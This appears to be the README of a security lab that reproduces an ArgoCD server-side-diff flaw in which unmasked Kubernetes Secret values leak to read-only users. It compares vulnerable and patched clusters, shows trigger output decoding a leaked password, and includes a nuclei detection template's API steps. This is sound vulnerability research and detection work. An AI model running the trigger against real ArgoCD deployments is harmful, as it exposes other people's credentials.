Vulnerable path (v3.2.0):
argocd app diff --server-side-diff
  → gRPC ServerSideDiff handler
    → Kubernetes SSA dry-run (merges ALL field managers)
      ← predictedLive returned (includes external-controller's data)
        ❌ hideSecretData() NOT called → real Secret values exposed

Patched path (v3.2.11):
  ...same SSA dry-run...
    ✅ HideSecretData() called → values replaced with ++++

Host Machine
├── localhost:30080 ──→ Kind Cluster: cve-vuln   (ArgoCD v3.2.0  ⚠ VULNERABLE)
│                         └── ns: production
│                              ├── Secret: db-credentials
│                              │    metadata → argocd-controller (synced from Git)
│                              │    data.*  → external-controller ⚠ (injected separately)
│                              └── Secret: api-credentials (same setup)
│
├── localhost:30081 ──→ Kind Cluster: cve-patched (ArgoCD v3.2.11 ✓ PATCHED)
│                         └── (identical config — only ArgoCD version differs)
│
└── localhost:3010  ──→ Docker Container: cve-lab-gitea
                          └── repo: gitadmin/manifests.git
                               └── secret.yaml (no data field — CVE prerequisite)

db-credentials Secret (namespace: production)
┌──────────────────────────────────────────────────────────────┐
│  metadata.*  → argocd-controller   (ArgoCD syncs from Git)   │
│  data.*      → external-controller (injected by setup script)│
└──────────────────────────────────────────────────────────────┘

SSA dry-run: Kubernetes merges both managers' fields into predictedLive
  → ArgoCD does NOT own data → data is not masked by ArgoCD
  → v3.2.0 returns predictedLive without hideSecretData() → EXPOSED

bash scripts/01-setup-vuln.sh
# أو: make setup-vuln

══════════════════════════════════════════════════════
 Vulnerable ArgoCD lab ready!
══════════════════════════════════════════════════════
 ArgoCD UI   : http://localhost:30080
 Admin pass  : <auto-generated>
 Viewer pass : viewerpass123
 Token file  : .vuln-viewer-token
══════════════════════════════════════════════════════

bash scripts/02-setup-patched.sh
# أو: make setup-patched

bash scripts/03-trigger-cve.sh
# أو: make trigger

===== /Secret production/db-credentials ======
<   db_password: ++++++++                          ← حالة حية مُخبّأة
---
>   db_password: U3VwM3JTM2NyM3REQiFQYXNzIzIwMjY=  ← predictedLive مكشوف!

[EXPOSED] decoded: Sup3rS3cr3tDB!Pass#2026
⚠  RESULT: SECRET DATA EXPOSED — VULNERABLE

>   db_password: ++++++++   ← مُخبّأ
✓  RESULT: no unmasked data in predictedLive — PATCHED

# الكتلة المُعرَّضة ← يجب أن تُنتج نتيجة [حرجة]
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30080 \
  -var username=viewer \
  -var password=viewerpass123

# الكتلة المُصحَّحة ← يجب ألا تُنتج نتائج
nuclei -t nuclei/CVE-2026-42880.yaml \
  -u http://localhost:30081 \
  -var username=viewer \
  -var password=viewerpass123

bash scripts/99-teardown.sh
# أو: make teardown

argocd-cve-2026-42880-lab2/
├── README.md
├── LAB_SETUP_GUIDE.md              # دليل إعداد المعمل + استكشاف الأخطاء (English)
├── VULNERABILITY_ANALYSIS.md       # تحليل الثغرة على مستوى الكود (English)
├── Nuclei_Template_Report.md       # تصميم قالب Nuclei ونتائج الاختبار (English)
├── Makefile
│
├── REPORT/                         # تقارير باللغة الكورية
│   ├── LAB_REPORT_KR.md
│   ├── Nuclei_Template_Report_KR.md
│   └── Vulnerability_Analysis_KR.md
│
├── kind/
│   ├── cluster-vuln.yaml           # كتلة Kind: cve-vuln    (منفذ 30080)
│   └── cluster-patched.yaml        # كتلة Kind: cve-patched (منفذ 30081)
│
├── git-manifests/
│   └── secret.yaml                 # Secret بدون حقل data (شرط مسبق للثغرة)
│
├── manifests/
│   ├── application.yaml            # تطبيق ArgoCD مع التعليق المُعرَّض
│   ├── argocd-cm-patch.yaml        # ConfigMap: تعطيل TLS، حساب viewer، ServerSideDiff
│   ├── argocd-rbac-patch.yaml      # RBAC: viewer → role:readonly
│   ├── argocd-nodeport.yaml        # NodePort 30080 (الكتلة المُعرَّضة)
│   └── argocd-nodeport-patched.yaml# NodePort 30081 (الكتلة المُصحَّحة)
│
├── nuclei/
│   └── CVE-2026-42880.yaml         # قالب كشف Nuclei
│
└── scripts/
    ├── 01-setup-vuln.sh            # إعداد آلي كامل: البيئة المُعرَّضة
    ├── 02-setup-patched.sh         # إعداد آلي كامل: البيئة المُصحَّحة
    ├── 03-trigger-cve.sh           # تشغيل الثغرة + مقارنة الكتلتين
    └── 99-teardown.sh              # إزالة جميع موارد المعمل

Step 1  GET /api/version
        → extract argocd_version (no auth required)

Step 2  POST /api/v1/session
        → authenticate as viewer (role:readonly), extract token

Step 3  GET /api/v1/applications
        → find app with ServerSideDiff=true,IncludeMutationWebhook=true

Step 4  GET /api/v1/applications/{app}/managed-resources
        → verify: version in range + Secret present + f:data owned by external manager
        → FINDING reported only if all 5 matchers pass (AND condition)